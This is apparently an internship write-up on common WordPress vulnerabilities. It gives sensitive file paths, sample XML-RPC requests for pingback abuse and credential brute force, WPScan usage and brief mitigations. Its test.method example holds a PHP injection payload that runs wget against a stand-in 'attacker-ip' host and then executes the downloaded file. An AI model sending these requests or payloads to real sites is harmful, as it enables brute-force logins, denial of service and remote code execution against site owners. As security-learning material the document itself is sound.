Cyber Sapiens Internship Task 7

Wordpress Vulnerabilities

What is Wordpess?

WordPress is a content management system (CMS) that allows you to host and build websites. WordPress contains plugin architecture and a template system, so you can customize any website to fit your business, blog, portfolio, or online store.

And today's topic is all about commonly found vulnerabilities in Wordpress. Their vulnerabilities might occur because of misconfiguration or insufficient security.

Common Wordpress Vulnerabilities :

1. Cross Origin Resource Sharing Misconfiguration
2. XMLRPC Brute Attack
3. XMLRPC Pingback ping Attack
4. Wp-config and other Sensitive files
5. Weak Passwords / Default Logins
6. Using outdated plugins / themes

Default Login Paths :

- target.com/login/
- target.com/wp-login.php
- target.com/wp-login
- target.com/wp-admin
- target.com/wp-admin.php

Other common paths to find important information:

- target.com/wp-config.php/ : to find the root password of the database.
- target.com/wp-config.php.bak
- target.com//wp-content/themes/ : to find themes
- target.com//wp-content/uploads/ : to find uploaded files

- target.com/xmlrpc.php/ : It is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism.

```
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
```

Using the above code to find the enabled methods in wordpress, we can find many vulnerabilities like SSRF, credentials bruteforce, etc.

- target.com/wp-cron.php : This file generates a heavy sql query which performs DOS on the target.

Checking Methods in XMRPC :

- pingback.ping
- wp.getUserBlogs
- test.method

1. pingback.ping

Distributed denial-of-service (DDoS) attacks - An attacker executes the **pingback.ping** the method from several affected WordPress installations against a single unprotected target (botnet level).

- **Cloudflare Protection Bypass** - An attacker executes the **pingback.ping** the method from a single affected WordPress installation which is protected by CloudFlare to an attacker-controlled public host (for example a VPS) in order to reveal the public IP of the target, therefore bypassing any DNS level protection.
- **XSPA (Cross Site Port Attack)** - An attacker can execute the **pingback.ping** the method from a single affected WordPress installation to the same host (or other internal/private host) on different ports. An open port or an internal host can be determined by observing the difference in time of response and/or by looking at the response of the request.

The following represents an simple example request using the PostBin provided URL as callback:

```
<?xml version="1.0" encoding="UTF-8"?>

<methodCall>

<methodName>pingback.ping</methodName>

<params>

<param>

<value><string>https://postb.in/1562017983221-4377199190203</string></value>

</param>

<param>

<value><string>https://example.com/</string></value>

</param>

</params>

</methodCall>
```

2. wp.getUserBlogs

Sometimes the only way to bypass request limiting or blocking in a brute force attack against WordPress site is to use the all too forgotten XML-RPC API.

The following request represents the most common brute force attack:

```
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>\{\{your username\}\}</value></param>
<param><value>\{\{your password\}\}</value></param>
</params>
</methodCall>
```

3. test.method

The attacker sends the below XML data in the HTTP POST to the vulnerable server. The XML element <name> contains the PHP command injection. XML-RPC will pass the XML elements to PHP eval() without validating the user input. Upon execution, PHP command drops a malicious script to the tmp directory & modifies the file permission to allow execution.

```
<?xml version="1.0" encoding="UTE-8"?>
<methodcall>
<methodName>test .method</methodName>
<params>
<param>
<value>
<name>’,”));echo ‘_begin_';echo “cd /tmp;wget attacker-ip/evil.php;chmod
+x
evil.php;./nikons *;echo ‘_end_’;exit;/*</name>
</value>
</param>
</params>
</methodCall>
```

Techniques to find Vulnerabilities:

➔ WPScan:

WPScan is an open source WordPress security scanner. It is used to scan the Wordpress website for known vulnerabilities within the Wordpress core, as well as popular Wordpress plugins and themes.

Advance Scan : wpscan –url https://target.com –api-token “xxxxxxxxxxxxxxx”
Here api token used from https://wpscan.com Create account and get it

Usage: Wpscan --url http://target.com -e p
Here, -e flag is to enumerate the target and ‘p’ is used to find important plugins.

➔ Plecost:

Plecost is a vulnerability fingerprinting and vulnerability finder for Wordpress which is written in python. It is used to find vulnerable plugins and exposed CVE’s.

Impact of Wordpress Vulnerabilities:

The wordpress vulnerabilities can cause the following :

1. Brute Force Attack
2. SQL Injection
3. Cross-Site Scripting
4. DDoS Attack
5. Remote Code Execution

Mitigations:

1. Updating plugins/themes.
2. Use a strong password.
3. Restricting wp-cron.php to avoid DOS.
4. Proper input validation.

References :

https://ithemes.com/blog/wordpress-security-issues/
https://github.com/iniqua/plecost
https://www.websiterating.com/wordpress/most-common-wordpress-vulnerabilities/

https://securitynews.sonicwall.com/xmlpost/major-attempt-to-exploit-xml-rpc-remote-code-injection-vulnerability-is-observed/

https://nitesculucian.github.io/2019/07/01/exploiting-the-xmlrpc-php-on-all-wordpress-versions/